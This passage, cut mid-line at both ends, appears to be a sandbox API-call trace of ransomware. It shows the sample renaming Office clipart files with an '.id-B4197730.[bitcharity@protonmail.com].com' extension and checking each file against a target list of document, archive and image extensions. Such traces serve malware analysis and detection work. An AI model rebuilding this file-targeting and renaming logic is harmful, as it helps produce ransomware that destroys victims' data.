(hObject=0x1234) returned 1 [0253.770] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.770] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285782.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285782.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.771] CloseHandle (hObject=0x1234) returned 1 [0253.772] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.772] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.772] CloseHandle (hObject=0x1234) returned 1 [0253.773] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.774] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.774] CloseHandle (hObject=0x1234) returned 1 [0253.775] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.775] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285808.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285808.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.776] CloseHandle (hObject=0x1234) returned 1 [0253.777] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.777] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285820.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.777] CloseHandle (hObject=0x1234) returned 1 [0253.779] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.779] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285822.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.779] CloseHandle (hObject=0x1234) returned 1 [0253.780] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.781] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287018.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.781] CloseHandle (hObject=0x1234) returned 1 [0255.595] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.595] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287019.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.596] CloseHandle (hObject=0x126c) returned 1 [0255.598] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.598] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301432.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301432.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.598] CloseHandle (hObject=0x126c) returned 1 [0255.600] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.600] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304371.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.600] CloseHandle (hObject=0x126c) returned 1 [0255.601] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.601] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304405.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304405.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.602] CloseHandle (hObject=0x126c) returned 1 [0255.604] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.604] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304853.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.604] CloseHandle (hObject=0x126c) returned 1 [0255.606] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.606] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304861.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304861.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.607] CloseHandle (hObject=0x126c) returned 1 [0255.609] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.609] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304875.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.020] CloseHandle (hObject=0x126c) returned 1 [0256.021] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.021] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382961.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382961.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.022] CloseHandle (hObject=0x126c) returned 1 [0256.024] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.024] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.024] CloseHandle (hObject=0x126c) returned 1 [0256.027] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.027] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.028] CloseHandle (hObject=0x126c) returned 1 [0256.029] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.030] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.030] CloseHandle (hObject=0x126c) returned 1 [0256.032] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.032] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382966.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382966.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.032] CloseHandle (hObject=0x126c) returned 1 [0256.035] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.035] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.035] CloseHandle (hObject=0x126c) returned 1 [0256.036] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.036] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382968.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382968.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.037] CloseHandle (hObject=0x126c) returned 1 [0256.038] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.038] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382969.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382969.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.038] CloseHandle (hObject=0x126c) returned 1 [0256.045] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.046] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382970.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382970.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.046] CloseHandle (hObject=0x126c) returned 1 [0256.047] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.047] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.048] CloseHandle (hObject=0x126c) returned 1 [0256.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.049] lstrlenW (lpString=".doc") returned 4 [0256.049] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0256.049] lstrlenW (lpString=".docx") returned 5 [0256.049] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0256.049] lstrlenW (lpString=".pdf") returned 4 [0256.049] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0256.049] lstrlenW (lpString=".xls") returned 4 [0256.049] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0256.049] lstrlenW (lpString=".xlsx") returned 5 [0256.049] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0256.049] lstrlenW (lpString=".ppt") returned 4 [0256.049] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0256.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.049] lstrlenW (lpString=".zip") returned 4 [0256.049] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0256.049] lstrlenW (lpString=".rar") returned 4 [0256.049] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0256.049] lstrlenW (lpString=".bz2") returned 4 [0256.049] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0256.049] lstrlenW (lpString=".7z") returned 3 [0256.049] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0256.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.049] lstrlenW (lpString=".dbf") returned 4 [0256.049] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0256.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.050] lstrlenW (lpString=".1cd") returned 4 [0256.050] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0256.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.050] lstrlenW (lpString=".jpg") returned 4 [0256.050] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0256.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.050] lstrlenW (lpString=".doc") returned 4 [0256.050] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0256.050] lstrlenW (lpString=".docx") returned 5 [0256.050] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0256.050] lstrlenW (lpString=".pdf") returned 4 [0256.050] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0256.050] lstrlenW (lpString=".xls") returned 4 [0256.050] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0256.050] lstrlenW (lpString=".xlsx") returned 5 [0256.050] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0256.050] lstrlenW (lpString=".ppt") returned 4 [0256.050] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0256.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.050] lstrlenW (lpString=".zip") returned 4 [0256.051] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0256.051] lstrlenW (lpString=".rar") returned 4 [0256.051] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0256.051] lstrlenW (lpString=".bz2") returned 4 [0256.051] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0256.051] lstrlenW (lpString=".7z") returned 3 [0256.051] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0256.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.051] lstrlenW (lpString=".dbf") returned 4 [0256.051] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0256.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.051] lstrlenW (lpString=".1cd") returned 4 [0256.051] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0256.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0256.051] lstrlenW (lpString=".jpg") returned 4 [0256.051] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0256.052] lstrcmpiW (lpString1=".JPG", lpString2=".com") returned 1 [0256.052] lstrlenW (lpString="J0384885.JPG") returned 12 [0256.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x126c [0256.052] GetFileSizeEx (in: hFile=0x126c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=97145) returned 1 [0256.052] CloseHandle (hObject=0x126c) returned 1 [0256.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg")) returned 0x220 [0256.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x126c [0256.053] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.054] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384885.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.054] CloseHandle (hObject=0x126c) returned 1 [0256.054] lstrlenW (lpString="C:\\Program Files\\Microsoft 